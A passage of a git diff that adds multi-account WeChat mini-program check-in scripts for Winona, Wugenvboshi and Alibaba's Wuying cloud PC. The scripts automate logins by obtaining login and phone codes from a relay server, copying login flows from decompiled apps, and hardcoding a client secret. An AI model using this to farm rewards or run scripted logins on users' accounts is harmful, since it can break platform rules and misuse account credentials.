jscode2session 中转,非个人凭证) + 3) wx_server 取新式手机号 phoneCode,快速登录: + POST https://api.qiumeiapp.com/zgxcx/10001/zgxcxUserFastLogin (x-www-form-urlencoded) + body: code=&unionid=&xcxOpenid=&zgCounterId=0&vm1Code=®isterSource=0 + -> code==200,data.zgUserToken(=后续 appUserToken) +签到 POST https://api.qiumeiapp.com/zg-activity/zg-daily/zgSigninNew (form) appUserToken= + -> code==200 签到成功 / code==703 今日已签 / code==600 token失效(自动重登) +zgCounterId/vm1Code/registerSource/sysCode 均为应用级固定常量(原脚本硬编码,非个人凭证)。 +手机号采用"新式 phoneCode"(服务端用小程序自身 access_token 换手机号,不与 wx.login code 配对),可迁移。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("薇诺娜签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "wrn"; +const MINI_APP_ID = "wx250394ab3f680bfa"; +const WX_SERVER_URL = process.env.wx_server_url || "http://192.168.31.196:8787"; +const WX_AUTH = process.env.wx_auth || ""; + +const GETOPENID_URL = "https://zhls.qq.com/wxlogin/getOpenId"; +const LOGIN_URL = "https://api.qiumeiapp.com/zgxcx/10001/zgxcxUserFastLogin"; +const BASE_URL = "https://api.qiumeiapp.com/zg-activity/zg-daily/"; +const EP_SIGN = "zgSigninNew"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wrn_token_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.56(0x18003830) NetType/WIFI Language/zh_CN"; + +const wechat = new WeChatServer({ url: WX_SERVER_URL, appid: MINI_APP_ID, auth: WX_AUTH }); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isTokenBad = (t) => /token|登录|未授权|失效|过期|未登录|鉴权|重新登陆|重新登录/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async getOpenIdUnionId(jsCode) { + const res = await axios.request({ + method: "GET", url: GETOPENID_URL, params: { appid: MINI_APP_ID, js_code: jsCode }, + headers: { "User-Agent": UA, Accept: "*/*", Referer: `https://servicewechat.com/${MINI_APP_ID}/637/page-frame.html` }, + timeout: 20000, validateStatus: () => true, + }); + const d = (res && res.data) || {}; + const openId = d.openId || d.openid || d.OpenId; + const unionId = d.unionId || d.unionid || d.UnionId; + if (!openId || !unionId) throw new Error(`getOpenId 换取失败(HTTP ${res.status}): ${short(d)}`); + return { openId: String(openId), unionId: String(unionId) }; + } + async getPhoneCode() { + const res = await axios.request({ + method: "POST", url: `${WX_SERVER_URL}/wx/getphonenumber`, + data: { openid: this.account.openid, appid: MINI_APP_ID }, + headers: { auth: WX_AUTH, "Content-Type": "application/json" }, + timeout: 30000, validateStatus: () => true, + }); + const d = (res && res.data) || {}; + if (d.status === false) throw new Error(`取手机号失败: ${d.message || short(d)}`); + const code = d.code || d?.data?.code || d.phoneCode || d?.raw?.code; + if (!code || typeof code !== "string") throw new Error(`取手机号未返回 phoneCode: ${short(d)}`); + return code; + } + async login() { + const jsCode = await this.getCode(); + const { openId, unionId } = await this.getOpenIdUnionId(jsCode); + this.log(`换取 openId/unionId 成功`); + const phoneCode = await this.getPhoneCode(); + this.log(`取手机号 phoneCode 成功`); + const form = + `code=${encodeURIComponent(phoneCode)}` + + `&unionid=${encodeURIComponent(unionId)}` + + `&xcxOpenid=${encodeURIComponent(openId)}` + + `&zgCounterId=0&vm1Code=®isterSource=0`; + const res = await axios.request({ + method: "POST", url: LOGIN_URL, data: form, + headers: { + Host: "api.qiumeiapp.com", "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": UA, Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/753/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + const d = (res && res.data) || {}; + const token = (d.data && (d.data.zgUserToken || d.data.token || d.data.appUserToken)) || d.zgUserToken; + if (Number(d.code) === 200 && token) { + this.token = String(token); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + return; + } + throw new Error(`登录失败(code=${d.code}): ${d.msg || d.message || short(d)}`); + } + async signRequest() { + const res = await axios.request({ + method: "POST", url: `${BASE_URL}${EP_SIGN}`, data: `appUserToken=${encodeURIComponent(this.token)}`, + headers: { + Host: "api.qiumeiapp.com", "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": UA, Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/637/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + return (res && res.data) || {}; + } + async sign(retry = true) { + const d = await this.signRequest(); + const code = Number(d.code); + if (code === 200) return this.log(`✅ 签到成功${d.data && d.data.integral !== undefined ? `,积分 ${d.data.integral}` : ""}`); + if (code === 703) return this.log(`✅ 今日已签到`); + const msg = d.msg || d.message || short(d); + if (isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (retry && (code === 600 || isTokenBad(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败(code=${d.code}): ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + const m = String(e.message || e); + if (/getOpenId 换取失败/.test(m)) { this.log(`⚠️ 无法用 code 换取明文 openId/unionId:${m}`); return; } + if (/取手机号/.test(m)) { this.log(`⚠️ 该微信号未开通手机号授权或取号失败:${m}`); return; } + this.log(`执行失败: ${m}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/wugenvboshi.js b/wxapp/wugenvboshi.js new file mode 100644 index 00000000..50f1f1be --- /dev/null +++ b/wxapp/wugenvboshi.js @@ -0,0 +1,278 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 五个女博士微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:wugenvboshi +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("五个女博士微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const MINI_APP_ID = "wx271704a01704744b"; +const KDT_ID = "44519665"; +const USER_VERSION = "2.228.701"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wugenvboshi_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "wugenvboshi"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 12 ? `${token.slice(0, 6)}***${token.slice(-6)}` : `${token.slice(0, 3)}***`; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.token.accessToken || this.token.access_token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.token.accessToken && !this.token.access_token) { + await this.loginByWxCode(); + } + if (!this.token.accessToken && !this.token.access_token) return; + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token.accessToken && !this.token.access_token) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/142/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {}, skipToken = false }) { + const oldToken = this.token; + if (skipToken) this.token = {}; + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + if (skipToken) this.token = oldToken; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.token = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data?.nick_name || data?.nickName || ""} ${maskPhone(data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}积分`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || data?.checkin_id || ""; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${data?.isShow} showPage=${data?.showPage}`); + return data; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/wuyingyundiannao.py b/wxapp/wuyingyundiannao.py new file mode 100644 index 00000000..cbcfea0a --- /dev/null +++ b/wxapp/wuyingyundiannao.py @@ -0,0 +1,493 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# 无影云电脑 - 每日签到得灵豆 +# 入口: 微信小程序「无影云电脑」-> 我的 -> 签到 (灵豆可用于续费云电脑时长) +# 说明: 通过 wx_server(smallcat) 用 openid 换取 wx.login code, 复刻小程序的 +# 阿里云账号 OAuth 静默登录 (authLogin -> GetLoginTokenByAuthCode) 拿到 +# LoginToken/SessionId, 再完成每日签到。 +# 前置条件: 该小程序登录依赖「已绑定手机号的阿里云账号」。若当前微信身份尚未 +# 绑定阿里云账号(authLogin 返回 state=register), 需先在小程序内完成 +# 手机号/阿里云账号授权注册, 脚本会如实识别并上报, 不自动触发注册。 +# 账号变量名:wuying (填写 wx_server 中的 openid, 多账号用换行或 & 分割, 可选 #备注) +# 需要配置 wx_server_url、wx_auth, 用于获取 wx.login code +# 可选变量 wuying_token: 静默登录被阿里云安全验证(state=identityVerify)拦下时的 +# 逃生口, 填「LoginToken#SessionId」(从小程序内已登录的会话里取), 多账号 +# 按账号顺序用换行或 & 分割; 脚本会用 RefreshLoginToken 自动续期。 +#new Env("无影云电脑签到") +#cron 40 9 * * * + +import json +import os +import sys +import time +import urllib.parse +import uuid +from pathlib import Path + +import requests + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +try: + from notify import send +except Exception: + def send(title, content): + print(f"\n===== {title} =====\n{content}") + +# --------------------------------------------------------------------------- +# 常量 (均来自小程序反编译源码, 非机密) +# --------------------------------------------------------------------------- +MINI_APP_ID = "wx66f97ce0a56f08c7" +# 阿里云账号 OAuth (SDK env=prod -> account.aliyun.com), 静默登录接口 +OAUTH_BASE = "https://account.aliyun.com" +# 账号服务 (换取 LoginToken/SessionId) +ACCOUNT_EP = "https://appstream-center.cn-shanghai.aliyuncs.com" +ACCOUNT_VER = "2022-11-22" +# 桌面服务 (用户/活动/签到) +DESKTOP_EP = "https://wuying-personal-pc.cn-hangzhou.aliyuncs.com" +DESKTOP_VER = "2022-10-01" +APP_VERSION_INFO = "20260112" # genOpenApiUrl 内置 AppVersionInfo +FROM_CLIENT = "miniapp_weixin" +# 阿里云 OpenAPI 业务成功标识 (desktop/account 业务接口: Code==="success") +BIZ_OK = "success" +# 会话失效 -> 需重新登录 +SESSION_INVALID = ("User.LoginInvalid", "InvalidLoginToken.Missing", "NOT_LOGIN") + +# smallcat / wx_server 配置 (机密, 从环境变量读取, 绝不硬编码) +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") + +TOKEN_CACHE_PATH = Path(__file__).with_name("wuyingyundiannao_token_cache.json") +# 手动会话逃生口: wuying_token = "LoginToken#SessionId", 按账号顺序换行/& 分割 +MANUAL_SESSIONS = [x.strip() for x in + os.getenv("wuying_token", "").replace("&", "\n").splitlines() + if x.strip()] +DEFAULT_UA = ( + "Mozilla/5.0 (Linux; Android 13; SM-G9910 Build/TP1A.220624.014) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.49.2600(0x28003137) NetType/WIFI Language/zh_CN " + "miniProgram/" + MINI_APP_ID +) + +session = requests.Session() + + +# --------------------------------------------------------------------------- +# 工具函数 +# --------------------------------------------------------------------------- +def mask(value): + if not value: + return "" + value = str(value) + if len(value) <= 12: + return value[:2] + "***" + return f"{value[:6]}***{value[-4:]}" + + +def read_token_cache(): + try: + if TOKEN_CACHE_PATH.exists(): + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + pass + return {} + + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text( + json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8") + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + + +def get_cached_session(openid): + return read_token_cache().get(openid) or {} + + +def save_cached_session(openid, login_token, session_id): + cache = read_token_cache() + cache[openid] = {"LoginToken": login_token, "SessionId": session_id, + "updatedAt": int(time.time())} + write_token_cache(cache) + + +def remove_cached_session(openid): + cache = read_token_cache() + if openid in cache: + del cache[openid] + write_token_cache(cache) + + +# --------------------------------------------------------------------------- +# smallcat: openid -> wx.login code +# --------------------------------------------------------------------------- +def get_wx_code(openid): + if not WX_AUTH: + raise RuntimeError("缺少 wx_auth, 无法从 wx_server 获取 code") + headers = {"Accept": "application/json", "Content-Type": "application/json", + "auth": WX_AUTH} + body = json.dumps({"appid": MINI_APP_ID, "openid": openid}) + last_msg = "" + for attempt in range(4): + if attempt: + # smallcat 偶发 "获取失败"(会话抖动), 刷新会话后间隔重试 + try: + session.post(f"{WX_SERVER_URL}/wx/refresh", data=body, + headers=headers, timeout=30) + except Exception: + pass + time.sleep(3) + resp = session.post(f"{WX_SERVER_URL}/wx/code", data=body, + headers=headers, timeout=30) + resp.raise_for_status() + data = resp.json() + if isinstance(data, dict) and data.get("status") is False: + last_msg = data.get("message") or "获取失败" + continue + code = data.get("code") or (data.get("data") or {}).get("code") + if code: + return code + last_msg = "wx_server 未返回 code" + raise RuntimeError(f"wx_server 获取 code 失败(已重试): {last_msg}") + + +# --------------------------------------------------------------------------- +# 阿里云账号 OAuth: wx.login code -> st (复刻 authLogin.html 静默登录) +# --------------------------------------------------------------------------- +def aliyun_authlogin(code): + """POST {OAUTH_BASE}/weixin/authLogin.html?code=..&appId=.. -> 响应 data。 + + SDK 内部 resolve(response.data), 故取 body['data']。返回含 state/st 的节点。 + state: loginSuccess=已绑定(有 st) / register=未绑定阿里云账号(需注册) + identityVerify=需实名 / 其它=异常。 + """ + qs = urllib.parse.urlencode({"code": code, "appId": MINI_APP_ID}) + resp = session.post( + f"{OAUTH_BASE}/weixin/authLogin.html?{qs}", + data=b"", + headers={"content-type": "application/x-www-form-urlencoded", + "User-Agent": DEFAULT_UA, + "Referer": f"https://servicewechat.com/{MINI_APP_ID}/0/page-frame.html"}, + timeout=30, + ) + resp.raise_for_status() + body = resp.json() + node = body.get("data") if isinstance(body.get("data"), dict) else body + return node or {} + + +# --------------------------------------------------------------------------- +# 阿里云 OpenAPI (复刻 genOpenApiUrl: 通用参数, 客户端签名已禁用故无需签名) +# --------------------------------------------------------------------------- +def _open_api(endpoint, action, version, params, method="GET"): + q = { + "Action": action, + "Format": "JSON", + "SignatureMethod": "HMAC-SHA1", + "SignatureNonce": uuid.uuid4().hex, + "SignatureVersion": "1.0", + "Timestamp": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), + "Version": version, + "From": FROM_CLIENT, + "AppVersionInfo": APP_VERSION_INFO, + } + q.update({k: v for k, v in params.items() if v is not None}) + headers = {"User-Agent": DEFAULT_UA, + "Referer": f"https://servicewechat.com/{MINI_APP_ID}/0/page-frame.html"} + url = f"{endpoint}?{urllib.parse.urlencode(sorted(q.items()))}" + if method.upper() == "POST": + resp = session.post(url, data={}, headers=headers, timeout=30) + else: + resp = session.get(url, headers=headers, timeout=30) + resp.raise_for_status() + return resp.json() + + +def get_login_token(st): + """st -> GetLoginTokenByAuthCode -> {LoginToken, SessionId}。成功时 Code 为空。""" + resp = _open_api(ACCOUNT_EP, "GetLoginTokenByAuthCode", ACCOUNT_VER, { + "AuthCode": st, "AccountType": "aliyun", + "Scene": "WEIXIN_MINI_APP_AUTO_LOGIN", "ClientType": FROM_CLIENT}) + node = resp.get("data") if isinstance(resp.get("data"), dict) else resp + if node.get("Code"): # 登录类接口: 有 Code 即失败 + raise RuntimeError(f"换取登录凭证失败: {node.get('Code')} {node.get('Message', '')}") + lt, sid = node.get("LoginToken"), node.get("SessionId") + if not (lt and sid): + raise RuntimeError("换取登录凭证响应缺少 LoginToken/SessionId") + return lt, sid + + +def refresh_login_token(login_token, session_id): + """RefreshLoginToken: 复用缓存会话。失败返回 None。""" + try: + resp = _open_api(ACCOUNT_EP, "RefreshLoginToken", ACCOUNT_VER, { + "LoginToken": login_token, "SessionId": session_id, + "ClientId": f"{session_id}0000", "ClientType": FROM_CLIENT}) + node = resp.get("data") if isinstance(resp.get("data"), dict) else resp + if node.get("Code"): + return None + lt = node.get("LoginToken") or login_token + sid = node.get("SessionId") or session_id + return lt, sid + except Exception: + return None + + +# --------------------------------------------------------------------------- +# 签到业务 (desktop 服务; 业务接口 Code==="success") +# --------------------------------------------------------------------------- +def _biz_ok(resp): + node = resp if isinstance(resp, dict) else {} + return str(node.get("Code")) == BIZ_OK + + +def _biz_code(resp): + return (resp or {}).get("Code") + + +def _is_session_invalid(resp): + return str((resp or {}).get("Code")) in SESSION_INVALID + + +def describe_benefit_activities(lt, sid): + return _open_api(DESKTOP_EP, "DescribeUserBenefitActivities", DESKTOP_VER, { + "LoginToken": lt, "SessionId": sid, "Scene": "weixin", + "ClientType": FROM_CLIENT}) + + +def describe_operation_activities(lt, sid): + return _open_api(DESKTOP_EP, "DescribeOperationActivities", DESKTOP_VER, { + "LoginToken": lt, "SessionId": sid, "Scene": "weixin", + "ActivityDisplayType": "Banner", "ClientType": FROM_CLIENT}) + + +SIGNIN_HINT = ("signin", "sign_in", "attend", "checkin", "check_in", "dailycheck", + "clockin", "签到", "打卡", "每日") + + +def _looks_like_signin(obj): + """在活动卡片对象里判断是否为签到活动 (按类型/名称关键字启发式)。""" + blob = json.dumps(obj, ensure_ascii=False).lower() + return any(h in blob for h in SIGNIN_HINT) + + +def _iter_activities(resp): + """从 DescribeUserBenefitActivities/OperationActivities 响应里迭代活动对象。""" + node = resp.get("data") if isinstance(resp.get("data"), dict) else resp + data = node.get("Data") if isinstance(node.get("Data"), dict) else node + for key in ("OperationCards", "Activities", "ActivityList", "List", "Cards"): + arr = data.get(key) if isinstance(data, dict) else None + if isinstance(arr, list): + for it in arr: + if isinstance(it, dict): + yield it + + +def find_signin_activity_id(lt, sid): + """运行时定位「每日签到」活动的 ActivityId。 + 返回 (activity_id, act, session_bad)。定位不到时 activity_id 为 None。""" + session_bad = False + for fetch in (describe_benefit_activities, describe_operation_activities): + try: + resp = fetch(lt, sid) + except Exception as e: + print(f" 活动列表获取失败({fetch.__name__}): {e}") + continue + if _is_session_invalid(resp): + session_bad = True + break + if not _biz_ok(resp): + print(f" 活动列表返回 Code={_biz_code(resp)}") + continue + for act in _iter_activities(resp): + if _looks_like_signin(act): + aid = (act.get("ActivityId") or act.get("activityId") + or act.get("Id") or act.get("id")) + if aid: + return str(aid), act, session_bad + return None, None, session_bad + + +def attendance_count(lt, sid, activity_id): + try: + resp = _open_api(DESKTOP_EP, "DescribeUserActivityAttendanceCount", + DESKTOP_VER, {"LoginToken": lt, "SessionId": sid, + "ActivityId": activity_id}) + node = resp.get("data") if isinstance(resp.get("data"), dict) else resp + return node + except Exception: + return None + + +def attend_activity(lt, sid, activity_id): + """AttendUserBenefitActivity (POST): 完成一次签到。返回 (成功?, 文案)。""" + resp = _open_api(DESKTOP_EP, "AttendUserBenefitActivity", DESKTOP_VER, { + "LoginToken": lt, "SessionId": sid, "ActivityId": activity_id}, + method="POST") + node = resp.get("data") if isinstance(resp.get("data"), dict) else resp + code = str(node.get("Code")) + msg = node.get("Message") or "" + if code == BIZ_OK: + return True, "签到成功" + # 服务端对重复签到通常返回可识别的 Code/Message, 视为幂等成功 + if any(k in (code + msg).lower() for k in ("already", "repeat", "duplicate", + "已签", "已参与", "重复")): + return True, "今日已签到" + return False, f"签到失败: {code} {msg}".strip() + + +# --------------------------------------------------------------------------- +# 会话获取: 缓存(刷新) -> 静默登录 +# --------------------------------------------------------------------------- +def obtain_session(openid, index, force=False): + """返回 (login_token, session_id, state)。 + state 为 'ok' 表示已登录; 其余为前置条件说明字符串。force=True 跳过缓存强制重登。""" + # 0) 手动会话(逃生口): 静默登录被阿里云风控拦下时, 用户可自行从小程序里取到 + # LoginToken/SessionId 填进 wuying_token, 脚本用 RefreshLoginToken 续期。 + manual = MANUAL_SESSIONS[index - 1] if index - 1 < len(MANUAL_SESSIONS) else "" + if manual and not force: + parts = [p.strip() for p in manual.replace("&", "#").split("#") if p.strip()] + if len(parts) >= 2: + refreshed = refresh_login_token(parts[0], parts[1]) + if refreshed: + lt, sid = refreshed + save_cached_session(openid, lt, sid) + print(f"账号 {index} 使用手动会话(已刷新): {mask(lt)}") + return lt, sid, "ok" + print(f"账号 {index} wuying_token 已失效, 回退到静默登录") + else: + print(f"账号 {index} wuying_token 格式应为 LoginToken#SessionId, 已忽略") + + # 1) 复用缓存并尝试刷新 + if force: + remove_cached_session(openid) + else: + cached = get_cached_session(openid) + if cached.get("LoginToken") and cached.get("SessionId"): + refreshed = refresh_login_token(cached["LoginToken"], cached["SessionId"]) + if refreshed: + lt, sid = refreshed + save_cached_session(openid, lt, sid) + print(f"账号 {index} 使用缓存会话(已刷新): {mask(lt)}") + return lt, sid, "ok" + remove_cached_session(openid) + + # 2) 静默登录 (wx.login code -> authLogin) + code = get_wx_code(openid) + node = aliyun_authlogin(code) + state = node.get("state") + st = node.get("st") + if state == "loginSuccess" and st: + lt, sid = get_login_token(st) + save_cached_session(openid, lt, sid) + print(f"账号 {index} 静默登录成功: {mask(lt)}") + return lt, sid, "ok" + + # 3) 各类前置条件 (不自动触发注册/实名/手机号授权) + if state in ("register", "NeedOAuth", None): + return None, None, ("该微信身份尚未绑定阿里云账号, 需先在小程序「无影云电脑→我的→" + "签到/登录」完成手机号授权并绑定阿里云账号后才能签到") + if state in ("identityVerify", "IV"): + # 注意: 这不是「实名认证」——已实名的账号同样会收到。阿里云对本次静默登录 + # 下发了一次性「安全验证/身份核验」挑战: authLogin 只回 ivToken 不回 st, + # 小程序的做法是 webview 打开 account.aliyun.com/iv/ivRender?ivToken= + # 让用户当场过挑战(见 vendor.js getIVHost / SignState.IV)。ivToken 每次 + # 请求都是新的, 说明是按登录上下文(IP/设备指纹)下发的风控挑战, 属风控边界, + # 脚本不代为完成、也不绕过。 + return None, None, ("阿里云对本次静默登录下发了『安全验证』挑战(state=" + "identityVerify, 与实名认证无关, 已实名也会遇到)。" + "脚本不会代过风控验证。两种解法: ① 在小程序「无影云电脑」" + "内登录一次并按提示完成安全验证, 让阿里云信任该登录环境; " + "② 从小程序里取到 LoginToken 与 SessionId, 填入变量 " + "wuying_token(格式 LoginToken#SessionId), 脚本会自动续期。") + return None, None, f"登录状态异常(state={state}), 请在小程序内手动登录一次后重试" + + +# --------------------------------------------------------------------------- +# 主流程 (每账号一次幂等签到) +# --------------------------------------------------------------------------- +def run_account(openid, index): + lines = [f"【账号 {index}】"] + + lt, sid, state = obtain_session(openid, index) + if state != "ok": + print(f"⚠️ 账号 {index} {state}") + lines.append(f"⚠️ {state}") + return "\n".join(lines), False + + # 定位签到活动 (签到页在分包内为空壳, ActivityId 需运行时从活动列表发现) + activity_id, act, session_bad = find_signin_activity_id(lt, sid) + if session_bad: # 会话失效 -> 强制重登重试一次 + print(f"账号 {index} 会话失效, 